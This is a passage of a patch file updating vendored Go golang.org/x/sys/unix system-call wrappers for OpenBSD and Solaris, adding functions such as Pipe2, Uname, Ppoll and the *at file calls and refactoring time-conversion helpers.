- func Syscall9(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-
- func nametomib(name string) (mib []_C_int, err error) {
--
-- // Perform lookup via a binary search
-- left := 0
-- right := len(sysctlMib) - 1
-- for {
-- idx := left + (right-left)/2
-- switch {
-- case name == sysctlMib[idx].ctlname:
-- return sysctlMib[idx].ctloid, nil
-- case name > sysctlMib[idx].ctlname:
-- left = idx + 1
-- default:
-- right = idx - 1
-- }
-- if left > right {
-- break
-- }
-+ i := sort.Search(len(sysctlMib), func(i int) bool {
-+ return sysctlMib[i].ctlname >= name
-+ })
-+ if i < len(sysctlMib) && sysctlMib[i].ctlname == name {
-+ return sysctlMib[i].ctloid, nil
- }
- return nil, EINVAL
- }
-@@ -65,21 +55,87 @@ func direntNamlen(buf []byte) (uint64, bool) {
- return readInt(buf, unsafe.Offsetof(Dirent{}.Namlen), unsafe.Sizeof(Dirent{}.Namlen))
- }
-
--//sysnb pipe(p *[2]_C_int) (err error)
-+func SysctlUvmexp(name string) (*Uvmexp, error) {
-+ mib, err := sysctlmib(name)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ n := uintptr(SizeofUvmexp)
-+ var u Uvmexp
-+ if err := sysctl(mib, (*byte)(unsafe.Pointer(&u)), &n, nil, 0); err != nil {
-+ return nil, err
-+ }
-+ if n != SizeofUvmexp {
-+ return nil, EIO
-+ }
-+ return &u, nil
-+}
-+
- func Pipe(p []int) (err error) {
-+ return Pipe2(p, 0)
-+}
-+
-+//sysnb pipe2(p *[2]_C_int, flags int) (err error)
-+func Pipe2(p []int, flags int) error {
- if len(p) != 2 {
- return EINVAL
- }
- var pp [2]_C_int
-- err = pipe(&pp)
-+ err := pipe2(&pp, flags)
- p[0] = int(pp[0])
- p[1] = int(pp[1])
-- return
-+ return err
- }
-
--//sys getdents(fd int, buf []byte) (n int, err error)
-+//sys Getdents(fd int, buf []byte) (n int, err error)
- func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- return getdents(fd, buf)
-+ n, err = Getdents(fd, buf)
-+ if err != nil || basep == nil {
-+ return
-+ }
-+
-+ var off int64
-+ off, err = Seek(fd, 0, 1 /* SEEK_CUR */)
-+ if err != nil {
-+ *basep = ^uintptr(0)
-+ return
-+ }
-+ *basep = uintptr(off)
-+ if unsafe.Sizeof(*basep) == 8 {
-+ return
-+ }
-+ if off>>32 != 0 {
-+ // We can't stuff the offset back into a uintptr, so any
-+ // future calls would be suspect. Generate an error.
-+ // EIO was allowed by getdirentries.
-+ err = EIO
-+ }
-+ return
-+}
-+
-+const ImplementsGetwd = true
-+
-+//sys Getcwd(buf []byte) (n int, err error) = SYS___GETCWD
-+
-+func Getwd() (string, error) {
-+ var buf [PathMax]byte
-+ _, err := Getcwd(buf[0:])
-+ if err != nil {
-+ return "", err
-+ }
-+ n := clen(buf[:])
-+ if n < 1 {
-+ return "", EINVAL
-+ }
-+ return string(buf[:n]), nil
-+}
-+
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ return sendfile(outfd, infd, offset, count)
- }
-
- // TODO
-@@ -102,6 +158,70 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- return
- }
-
-+func setattrlistTimes(path string, times []Timespec, flags int) error {
-+ // used on Darwin for UtimesNano
-+ return ENOSYS
-+}
-+
-+//sys ioctl(fd int, req uint, arg uintptr) (err error)
-+
-+//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
-+
-+//sys ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error)
-+
-+func Ppoll(fds []PollFd, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ if len(fds) == 0 {
-+ return ppoll(nil, 0, timeout, sigmask)
-+ }
-+ return ppoll(&fds[0], len(fds), timeout, sigmask)
-+}
-+
-+func Uname(uname *Utsname) error {
-+ mib := []_C_int{CTL_KERN, KERN_OSTYPE}
-+ n := unsafe.Sizeof(uname.Sysname)
-+ if err := sysctl(mib, &uname.Sysname[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ mib = []_C_int{CTL_KERN, KERN_HOSTNAME}
-+ n = unsafe.Sizeof(uname.Nodename)
-+ if err := sysctl(mib, &uname.Nodename[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ mib = []_C_int{CTL_KERN, KERN_OSRELEASE}
-+ n = unsafe.Sizeof(uname.Release)
-+ if err := sysctl(mib, &uname.Release[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ mib = []_C_int{CTL_KERN, KERN_VERSION}
-+ n = unsafe.Sizeof(uname.Version)
-+ if err := sysctl(mib, &uname.Version[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ // The version might have newlines or tabs in it, convert them to
-+ // spaces.
-+ for i, b := range uname.Version {
-+ if b == '\n' || b == '\t' {
-+ if i == len(uname.Version)-1 {
-+ uname.Version[i] = 0
-+ } else {
-+ uname.Version[i] = ' '
-+ }
-+ }
-+ }
-+
-+ mib = []_C_int{CTL_HW, HW_MACHINE}
-+ n = unsafe.Sizeof(uname.Machine)
-+ if err := sysctl(mib, &uname.Machine[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ return nil
-+}
-+
- /*
- * Exposed directly
- */
-@@ -115,14 +235,19 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- //sys Close(fd int) (err error)
- //sys Dup(fd int) (nfd int, err error)
- //sys Dup2(from int, to int) (err error)
-+//sys Dup3(from int, to int, flags int) (err error)
- //sys Exit(code int)
-+//sys Faccessat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fchdir(fd int) (err error)
- //sys Fchflags(fd int, flags int) (err error)
- //sys Fchmod(fd int, mode uint32) (err error)
-+//sys Fchmodat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fchown(fd int, uid int, gid int) (err error)
-+//sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
- //sys Flock(fd int, how int) (err error)
- //sys Fpathconf(fd int, name int) (val int, err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
- //sys Fstatfs(fd int, stat *Statfs_t) (err error)
- //sys Fsync(fd int) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
-@@ -135,6 +260,7 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- //sysnb Getppid() (ppid int)
- //sys Getpriority(which int, who int) (prio int, err error)
- //sysnb Getrlimit(which int, lim *Rlimit) (err error)
-+//sysnb Getrtable() (rtable int, err error)
- //sysnb Getrusage(who int, rusage *Rusage) (err error)
- //sysnb Getsid(pid int) (sid int, err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
-@@ -144,23 +270,30 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- //sys Kqueue() (fd int, err error)
- //sys Lchown(path string, uid int, gid int) (err error)
- //sys Link(path string, link string) (err error)
-+//sys Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error)
- //sys Listen(s int, backlog int) (err error)
- //sys Lstat(path string, stat *Stat_t) (err error)
- //sys Mkdir(path string, mode uint32) (err error)
-+//sys Mkdirat(dirfd int, path string, mode uint32) (err error)
- //sys Mkfifo(path string, mode uint32) (err error)
-+//sys Mkfifoat(dirfd int, path string, mode uint32) (err error)
- //sys Mknod(path string, mode uint32, dev int) (err error)
-+//sys Mknodat(dirfd int, path string, mode uint32, dev int) (err error)
- //sys Nanosleep(time *Timespec, leftover *Timespec) (err error)
- //sys Open(path string, mode int, perm uint32) (fd int, err error)
-+//sys Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error)
- //sys Pathconf(path string, name int) (val int, err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error)
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error)
- //sys read(fd int, p []byte) (n int, err error)
- //sys Readlink(path string, buf []byte) (n int, err error)
-+//sys Readlinkat(dirfd int, path string, buf []byte) (n int, err error)
- //sys Rename(from string, to string) (err error)
-+//sys Renameat(fromfd int, from string, tofd int, to string) (err error)
- //sys Revoke(path string) (err error)
- //sys Rmdir(path string) (err error)
- //sys Seek(fd int, offset int64, whence int) (newoffset int64, err error) = SYS_LSEEK
--//sys Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error)
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sysnb Setegid(egid int) (err error)
- //sysnb Seteuid(euid int) (err error)
- //sysnb Setgid(gid int) (err error)
-@@ -172,16 +305,19 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
- //sysnb Setrlimit(which int, lim *Rlimit) (err error)
-+//sysnb Setrtable(rtable int) (err error)
- //sysnb Setsid() (pid int, err error)
- //sysnb Settimeofday(tp *Timeval) (err error)
- //sysnb Setuid(uid int) (err error)
- //sys Stat(path string, stat *Stat_t) (err error)
- //sys Statfs(path string, stat *Statfs_t) (err error)
- //sys Symlink(path string, link string) (err error)
-+//sys Symlinkat(oldpath string, newdirfd int, newpath string) (err error)
- //sys Sync() (err error)
- //sys Truncate(path string, length int64) (err error)
- //sys Umask(newmask int) (oldmask int)
- //sys Unlink(path string) (err error)
-+//sys Unlinkat(dirfd int, path string, flags int) (err error)
- //sys Unmount(path string, flags int) (err error)
- //sys write(fd int, p []byte) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error)
-@@ -204,15 +340,10 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // clock_settime
- // closefrom
- // execve
--// faccessat
--// fchmodat
--// fchownat
--// fcntl
- // fhopen
- // fhstat
- // fhstatfs
- // fork
--// fstatat
- // futimens
- // getfh
- // getgid
-@@ -220,20 +351,14 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // getlogin
- // getresgid
- // getresuid
--// getrtable
- // getthrid
--// ioctl
- // ktrace
- // lfs_bmapv
- // lfs_markv
- // lfs_segclean
- // lfs_segwait
--// linkat
- // mincore
- // minherit
--// mkdirat
--// mkfifoat
--// mknodat
- // mount
- // mquery
- // msgctl
-@@ -242,13 +367,10 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // msgsnd
- // nfssvc
- // nnpfspioctl
--// openat
--// poll
- // preadv
- // profil
- // pwritev
- // quotactl
--// readlinkat
- // readv
- // reboot
- // renameat
-@@ -258,7 +380,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // semop
- // setgroups
- // setitimer
--// setrtable
- // setsockopt
- // shmat
- // shmctl
-@@ -270,13 +391,11 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // sigprocmask
- // sigreturn
- // sigsuspend
--// symlinkat
- // sysarch
- // syscall
- // threxit
- // thrsigdivert
- // thrsleep
- // thrwakeup
--// unlinkat
- // vfork
- // writev
-diff --git a/vendor/golang.org/x/sys/unix/syscall_openbsd_386.go b/vendor/golang.org/x/sys/unix/syscall_openbsd_386.go
-index a66ddc59..42b5a0e5 100644
---- a/vendor/golang.org/x/sys/unix/syscall_openbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_openbsd_386.go
-@@ -6,21 +6,12 @@
-
- package unix
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int64(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -37,6 +28,14 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-+
-+// SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
-+// of openbsd/386 the syscall is called sysctl instead of __sysctl.
-+const SYS___SYSCTL = SYS_SYSCTL
-diff --git a/vendor/golang.org/x/sys/unix/syscall_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/syscall_openbsd_amd64.go
-index 0776c1fa..6ea4b488 100644
---- a/vendor/golang.org/x/sys/unix/syscall_openbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_openbsd_amd64.go
-@@ -6,21 +6,12 @@
-
- package unix
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = nsec % 1e9 / 1e3
-- tv.Sec = nsec / 1e9
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -37,6 +28,14 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-+
-+// SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
-+// of openbsd/amd64 the syscall is called sysctl instead of __sysctl.
-+const SYS___SYSCTL = SYS_SYSCTL
-diff --git a/vendor/golang.org/x/sys/unix/syscall_openbsd_arm.go b/vendor/golang.org/x/sys/unix/syscall_openbsd_arm.go
-index 14ddaf3f..1c3d26fa 100644
---- a/vendor/golang.org/x/sys/unix/syscall_openbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_openbsd_arm.go
-@@ -6,23 +6,12 @@
-
- package unix
-
--import "syscall"
--
--func Getpagesize() int { return syscall.Getpagesize() }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int64(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -39,6 +28,14 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-+
-+// SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
-+// of openbsd/arm the syscall is called sysctl instead of __sysctl.
-+const SYS___SYSCTL = SYS_SYSCTL
-diff --git a/vendor/golang.org/x/sys/unix/syscall_openbsd_arm64.go b/vendor/golang.org/x/sys/unix/syscall_openbsd_arm64.go
-new file mode 100644
-index 00000000..a8c458cb
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_openbsd_arm64.go
-@@ -0,0 +1,41 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build arm64,openbsd
-+
-+package unix
-+
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
-+}
-+
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
-+}
-+
-+func SetKevent(k *Kevent_t, fd, mode, flags int) {
-+ k.Ident = uint64(fd)
-+ k.Filter = int16(mode)
-+ k.Flags = uint16(flags)
-+}
-+
-+func (iov *Iovec) SetLen(length int) {
-+ iov.Len = uint64(length)
-+}
-+
-+func (msghdr *Msghdr) SetControllen(length int) {
-+ msghdr.Controllen = uint32(length)
-+}
-+
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint32(length)
-+}
-+
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
-+}
-+
-+// SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
-+// of openbsd/amd64 the syscall is called sysctl instead of __sysctl.
-+const SYS___SYSCTL = SYS_SYSCTL
-diff --git a/vendor/golang.org/x/sys/unix/syscall_solaris.go b/vendor/golang.org/x/sys/unix/syscall_solaris.go
-index 0d4e5c4e..0e2a696a 100644
---- a/vendor/golang.org/x/sys/unix/syscall_solaris.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_solaris.go
-@@ -13,7 +13,6 @@
- package unix
-
- import (
-- "sync/atomic"
- "syscall"
- "unsafe"
- )
-@@ -24,6 +23,7 @@ type syscallFunc uintptr
- func rawSysvicall6(trap, nargs, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno)
- func sysvicall6(trap, nargs, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno)
-
-+// SockaddrDatalink implements the Sockaddr interface for AF_LINK type sockets.
- type SockaddrDatalink struct {
- Family uint16
- Index uint16
-@@ -35,15 +35,6 @@ type SockaddrDatalink struct {
- raw RawSockaddrDatalink
- }
-
--func clen(n []byte) int {
-- for i := 0; i < len(n); i++ {
-- if n[i] == 0 {
-- return i
-- }
-- }
-- return len(n)
--}
--
- func direntIno(buf []byte) (uint64, bool) {
- return readInt(buf, unsafe.Offsetof(Dirent{}.Ino), unsafe.Sizeof(Dirent{}.Ino))
- }
-@@ -137,7 +128,19 @@ func Getsockname(fd int) (sa Sockaddr, err error) {
- if err = getsockname(fd, &rsa, &len); err != nil {
- return
- }
-- return anyToSockaddr(&rsa)
-+ return anyToSockaddr(fd, &rsa)
-+}
-+
-+// GetsockoptString returns the string value of the socket option opt for the
-+// socket associated with fd at the given socket level.
-+func GetsockoptString(fd, level, opt int) (string, error) {
-+ buf := make([]byte, 256)
-+ vallen := _Socklen(len(buf))
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&buf[0]), &vallen)
-+ if err != nil {
-+ return "", err
-+ }
-+ return string(buf[:vallen-1]), nil
- }
-
- const ImplementsGetwd = true
-@@ -167,7 +170,7 @@ func Getwd() (wd string, err error) {
-
- func Getgroups() (gids []int, err error) {
- n, err := getgroups(0, nil)
-- // Check for error and sanity check group count. Newer versions of
-+ // Check for error and sanity check group count. Newer versions of
- // Solaris allow up to 1024 (NGROUPS_MAX).
- if n < 0 || n > 1024 {
- if err != nil {
-@@ -202,6 +205,7 @@ func Setgroups(gids []int) (err error) {
- return setgroups(len(a), &a[0])
- }
-
-+// ReadDirent reads directory entries from fd and writes them into buf.
- func ReadDirent(fd int, buf []byte) (n int, err error) {
- // Final argument is (basep *uintptr) and the syscall doesn't take nil.
- // TODO(rsc): Can we use a single global basep for all calls?
-@@ -325,6 +329,16 @@ func UtimesNanoAt(dirfd int, path string, ts []Timespec, flags int) error {
-
- //sys fcntl(fd int, cmd int, arg int) (val int, err error)
-
-+// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
-+func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
-+ valptr, _, errno := sysvicall6(uintptr(unsafe.Pointer(&procfcntl)), 3, uintptr(fd), uintptr(cmd), uintptr(arg), 0, 0, 0)
-+ var err error
-+ if errno != 0 {
-+ err = errno
-+ }
-+ return int(valptr), err
-+}
-+
- // FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command.
- func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procfcntl)), 3, uintptr(fd), uintptr(cmd), uintptr(unsafe.Pointer(lk)), 0, 0, 0)
-@@ -351,7 +365,7 @@ func Futimesat(dirfd int, path string, tv []Timeval) error {
- }
-
- // Solaris doesn't have an futimes function because it allows NULL to be
--// specified as the path for futimesat. However, Go doesn't like
-+// specified as the path for futimesat. However, Go doesn't like
- // NULL-style string interfaces, so this simple wrapper is provided.
- func Futimes(fd int, tv []Timeval) error {
- if tv == nil {
-@@ -363,7 +377,7 @@ func Futimes(fd int, tv []Timeval) error {
- return futimesat(fd, nil, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
- }
-
--func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
-+func anyToSockaddr(fd int, rsa *RawSockaddrAny) (Sockaddr, error) {
- switch rsa.Addr.Family {
- case AF_UNIX:
- pp := (*RawSockaddrUnix)(unsafe.Pointer(rsa))
-@@ -377,7 +391,7 @@ func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
- for n < len(pp.Path) && pp.Path[n] != 0 {
- n++
- }
-- bytes := (*[10000]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
-+ bytes := (*[len(pp.Path)]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
- sa.Name = string(bytes)
- return sa, nil
-
-@@ -414,7 +428,7 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
- if nfd == -1 {
- return
- }
-- sa, err = anyToSockaddr(&rsa)
-+ sa, err = anyToSockaddr(fd, &rsa)
- if err != nil {
- Close(nfd)
- nfd = 0
-@@ -451,7 +465,7 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
- oobn = int(msg.Accrightslen)
- // source address is only specified if the socket is unconnected
- if rsa.Addr.Family != AF_UNSPEC {
-- from, err = anyToSockaddr(&rsa)
-+ from, err = anyToSockaddr(fd, &rsa)
- }
- return
- }
-@@ -515,50 +529,54 @@ func Acct(path string) (err error) {
- return acct(pathp)
- }
-
--/*
-- * Expose the ioctl function
-- */
-+//sys __makedev(version int, major uint, minor uint) (val uint64)
-
--//sys ioctl(fd int, req uint, arg uintptr) (err error)
--
--func IoctlSetInt(fd int, req uint, value int) (err error) {
-- return ioctl(fd, req, uintptr(value))
-+func Mkdev(major, minor uint32) uint64 {
-+ return __makedev(NEWDEV, uint(major), uint(minor))
- }
-
--func IoctlSetWinsize(fd int, req uint, value *Winsize) (err error) {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+//sys __major(version int, dev uint64) (val uint)
-+
-+func Major(dev uint64) uint32 {
-+ return uint32(__major(NEWDEV, dev))
- }
-
--func IoctlSetTermios(fd int, req uint, value *Termios) (err error) {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+//sys __minor(version int, dev uint64) (val uint)
-+
-+func Minor(dev uint64) uint32 {
-+ return uint32(__minor(NEWDEV, dev))
- }
-
-+/*
-+ * Expose the ioctl function
-+ */
-+
-+//sys ioctl(fd int, req uint, arg uintptr) (err error)
-+
- func IoctlSetTermio(fd int, req uint, value *Termio) (err error) {
- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
- }
-
--func IoctlGetInt(fd int, req uint) (int, error) {
-- var value int
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return value, err
--}
--
--func IoctlGetWinsize(fd int, req uint) (*Winsize, error) {
-- var value Winsize
-+func IoctlGetTermio(fd int, req uint) (*Termio, error) {
-+ var value Termio
- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
- return &value, err
- }
-
--func IoctlGetTermios(fd int, req uint) (*Termios, error) {
-- var value Termios
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return &value, err
-+//sys poll(fds *PollFd, nfds int, timeout int) (n int, err error)
-+
-+func Poll(fds []PollFd, timeout int) (n int, err error) {
-+ if len(fds) == 0 {
-+ return poll(nil, 0, timeout)
-+ }
-+ return poll(&fds[0], len(fds), timeout)
- }
-
--func IoctlGetTermio(fd int, req uint) (*Termio, error) {
-- var value Termio
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return &value, err
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ return sendfile(outfd, infd, offset, count)
- }
-
- /*
-@@ -575,15 +593,17 @@ func IoctlGetTermio(fd int, req uint) (*Termio, error) {
- //sys Dup(fd int) (nfd int, err error)
- //sys Dup2(oldfd int, newfd int) (err error)
- //sys Exit(code int)
-+//sys Faccessat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fchdir(fd int) (err error)
- //sys Fchmod(fd int, mode uint32) (err error)
- //sys Fchmodat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
- //sys Fdatasync(fd int) (err error)
--//sys Flock(fd int, how int) (err error)
-+//sys Flock(fd int, how int) (err error)
- //sys Fpathconf(fd int, name int) (val int, err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
- //sys Fstatvfs(fd int, vfsstat *Statvfs_t) (err error)
- //sys Getdents(fd int, buf []byte, basep *uintptr) (n int, err error)
- //sysnb Getgid() (gid int)
-@@ -613,6 +633,7 @@ func IoctlGetTermio(fd int, req uint) (*Termio, error) {
- //sys Mlock(b []byte) (err error)
- //sys Mlockall(flags int) (err error)
- //sys Mprotect(b []byte, prot int) (err error)
-+//sys Msync(b []byte, flags int) (err error)
- //sys Munlock(b []byte) (err error)
- //sys Munlockall() (err error)
- //sys Nanosleep(time *Timespec, leftover *Timespec) (err error)
-@@ -628,6 +649,7 @@ func IoctlGetTermio(fd int, req uint) (*Termio, error) {
- //sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Rmdir(path string) (err error)
- //sys Seek(fd int, offset int64, whence int) (newoffset int64, err error) = lseek
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sysnb Setegid(egid int) (err error)
- //sysnb Seteuid(euid int) (err error)
- //sysnb Setgid(gid int) (err error)
-@@ -659,6 +681,7 @@ func IoctlGetTermio(fd int, req uint) (*Termio, error) {
- //sys connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) = libsocket.__xnet_connect
- //sys mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error)
- //sys munmap(addr uintptr, length uintptr) (err error)
-+//sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) = libsendfile.sendfile
- //sys sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) = libsocket.__xnet_sendto
- //sys socket(domain int, typ int, proto int) (fd int, err error) = libsocket.__xnet_socket
- //sysnb socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) = libsocket.__xnet_socketpair
-@@ -699,18 +722,3 @@ func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, e
- func Munmap(b []byte) (err error) {
- return mapper.Munmap(b)
- }
--
--//sys sysconf(name int) (n int64, err error)
--
--// pageSize caches the value of Getpagesize, since it can't change
--// once the system is booted.
--var pageSize int64 // accessed atomically
--
--func Getpagesize() int {
-- n := atomic.LoadInt64(&pageSize)
-- if n == 0 {
-- n, _ = sysconf(_SC_PAGESIZE)
-- atomic.StoreInt64(&pageSize, n)
-- }
-- return int(n)
--}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_solaris_amd64.go b/vendor/golang.org/x/sys/unix/syscall_solaris_amd64.go
-index 5aff62c3..b22a34d7 100644
---- a/vendor/golang.org/x/sys/unix/syscall_solaris_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_solaris_amd64.go
-@@ -6,30 +6,22 @@
-
- package unix
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = nsec % 1e9 / 1e3
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
